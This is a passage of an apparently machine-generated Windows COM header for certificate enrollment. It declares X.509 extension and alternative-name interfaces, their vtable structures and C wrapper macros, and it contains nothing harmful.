\n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionEnhancedKeyUsage_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionEnhancedKeyUsage_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionEnhancedKeyUsage_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionEnhancedKeyUsage_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionEnhancedKeyUsage_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionEnhancedKeyUsage_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionEnhancedKeyUsage_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionEnhancedKeyUsage_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionEnhancedKeyUsage_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionEnhancedKeyUsage_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionEnhancedKeyUsage_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionEnhancedKeyUsage_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionEnhancedKeyUsage_InitializeEncode(This,pValue)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,pValue) ) \n\n#define IX509ExtensionEnhancedKeyUsage_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionEnhancedKeyUsage_get_EnhancedKeyUsage(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_EnhancedKeyUsage(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionEnhancedKeyUsage_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509ExtensionTemplateName_INTERFACE_DEFINED__\n#define __IX509ExtensionTemplateName_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionTemplateName */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionTemplateName;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab311-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionTemplateName : public IX509Extension\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in BSTR strTemplateName) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_TemplateName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionTemplateNameVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionTemplateName * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionTemplateName * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionTemplateName * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateName )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509ExtensionTemplateNameVtbl;\n\n    interface IX509ExtensionTemplateName\n    {\n        CONST_VTBL struct IX509ExtensionTemplateNameVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionTemplateName_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionTemplateName_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionTemplateName_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionTemplateName_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionTemplateName_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionTemplateName_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionTemplateName_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionTemplateName_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionTemplateName_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionTemplateName_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionTemplateName_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionTemplateName_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionTemplateName_InitializeEncode(This,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,strTemplateName) ) \n\n#define IX509ExtensionTemplateName_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionTemplateName_get_TemplateName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateName(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionTemplateName_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509ExtensionTemplate_INTERFACE_DEFINED__\n#define __IX509ExtensionTemplate_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionTemplate */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionTemplate;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab312-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionTemplate : public IX509Extension\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in_opt IObjectId *pTemplateOid,\n            /* [in] */ LONG MajorVersion,\n            /* [in] */ LONG MinorVersion) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_TemplateOid( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_MajorVersion( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_MinorVersion( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionTemplateVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionTemplate * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionTemplate * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionTemplate * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [in] */ __RPC__in_opt IObjectId *pTemplateOid,\n            /* [in] */ LONG MajorVersion,\n            /* [in] */ LONG MinorVersion);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateOid )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_MajorVersion )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_MinorVersion )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        END_INTERFACE\n    } IX509ExtensionTemplateVtbl;\n\n    interface IX509ExtensionTemplate\n    {\n        CONST_VTBL struct IX509ExtensionTemplateVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionTemplate_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionTemplate_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionTemplate_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionTemplate_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionTemplate_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionTemplate_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionTemplate_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionTemplate_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionTemplate_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionTemplate_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionTemplate_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionTemplate_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionTemplate_InitializeEncode(This,pTemplateOid,MajorVersion,MinorVersion)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,pTemplateOid,MajorVersion,MinorVersion) ) \n\n#define IX509ExtensionTemplate_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionTemplate_get_TemplateOid(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateOid(This,ppValue) ) \n\n#define IX509ExtensionTemplate_get_MajorVersion(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_MajorVersion(This,pValue) ) \n\n#define IX509ExtensionTemplate_get_MinorVersion(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_MinorVersion(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionTemplate_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0022 */\n/* [local] */ \n\ntypedef \nenum AlternativeNameType\n    {\n        XCN_CERT_ALT_NAME_UNKNOWN\t= 0,\n        XCN_CERT_ALT_NAME_OTHER_NAME\t= 1,\n        XCN_CERT_ALT_NAME_RFC822_NAME\t= 2,\n        XCN_CERT_ALT_NAME_DNS_NAME\t= 3,\n        XCN_CERT_ALT_NAME_DIRECTORY_NAME\t= 5,\n        XCN_CERT_ALT_NAME_URL\t= 7,\n        XCN_CERT_ALT_NAME_IP_ADDRESS\t= 8,\n        XCN_CERT_ALT_NAME_REGISTERED_ID\t= 9,\n        XCN_CERT_ALT_NAME_GUID\t= 10,\n        XCN_CERT_ALT_NAME_USER_PRINCIPLE_NAME\t= 11\n    } \tAlternativeNameType;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0022_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0022_v0_0_s_ifspec;\n\n#ifndef __IAlternativeName_INTERFACE_DEFINED__\n#define __IAlternativeName_INTERFACE_DEFINED__\n\n/* interface IAlternativeName */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IAlternativeName;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab313-217d-11da-b2a4-000e7bbb2b09\")\n    IAlternativeName : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromString( \n            /* [in] */ AlternativeNameType Type,\n            /* [in] */ __RPC__in BSTR strValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromRawData( \n            /* [in] */ AlternativeNameType Type,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strRawData) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromOtherName( \n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strRawData,\n            /* [in] */ VARIANT_BOOL ToBeWrapped) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Type( \n            /* [retval][out] */ __RPC__out AlternativeNameType *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_StrValue( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ObjectId( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RawData( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IAlternativeNameVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IAlternativeName * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IAlternativeName * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IAlternativeName * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IAlternativeName * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IAlternativeName * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IAlternativeName * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IAlternativeName * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromString )( \n            __RPC__in IAlternativeName * This,\n            /* [in] */ AlternativeNameType Type,\n            /* [in] */ __RPC__in BSTR strValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromRawData )( \n            __RPC__in IAlternativeName * This,\n            /* [in] */ AlternativeNameType Type,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strRawData);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromOtherName )( \n            __RPC__in IAlternativeName * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strRawData,\n            /* [in] */ VARIANT_BOOL ToBeWrapped);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IAlternativeName * This,\n            /* [retval][out] */ __RPC__out AlternativeNameType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_StrValue )( \n            __RPC__in IAlternativeName * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IAlternativeName * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IAlternativeName * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IAlternativeNameVtbl;\n\n    interface IAlternativeName\n    {\n        CONST_VTBL struct IAlternativeNameVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IAlternativeName_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IAlternativeName_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IAlternativeName_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IAlternativeName_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IAlternativeName_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IAlternativeName_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IAlternativeName_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IAlternativeName_InitializeFromString(This,Type,strValue)\t\\\n    ( (This)->lpVtbl -> InitializeFromString(This,Type,strValue) ) \n\n#define IAlternativeName_InitializeFromRawData(This,Type,Encoding,strRawData)\t\\\n    ( (This)->lpVtbl -> InitializeFromRawData(This,Type,Encoding,strRawData) ) \n\n#define IAlternativeName_InitializeFromOtherName(This,pObjectId,Encoding,strRawData,ToBeWrapped)\t\\\n    ( (This)->lpVtbl -> InitializeFromOtherName(This,pObjectId,Encoding,strRawData,ToBeWrapped) ) \n\n#define IAlternativeName_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IAlternativeName_get_StrValue(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_StrValue(This,pValue) ) \n\n#define IAlternativeName_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IAlternativeName_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IAlternativeName_INTERFACE_DEFINED__ */\n\n\n#ifndef __IAlternativeNames_INTERFACE_DEFINED__\n#define __IAlternativeNames_INTERFACE_DEFINED__\n\n/* interface IAlternativeNames */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IAlternativeNames;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab314-217d-11da-b2a4-000e7bbb2b09\")\n    IAlternativeNames : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IAlternativeName **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt IAlternativeName *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            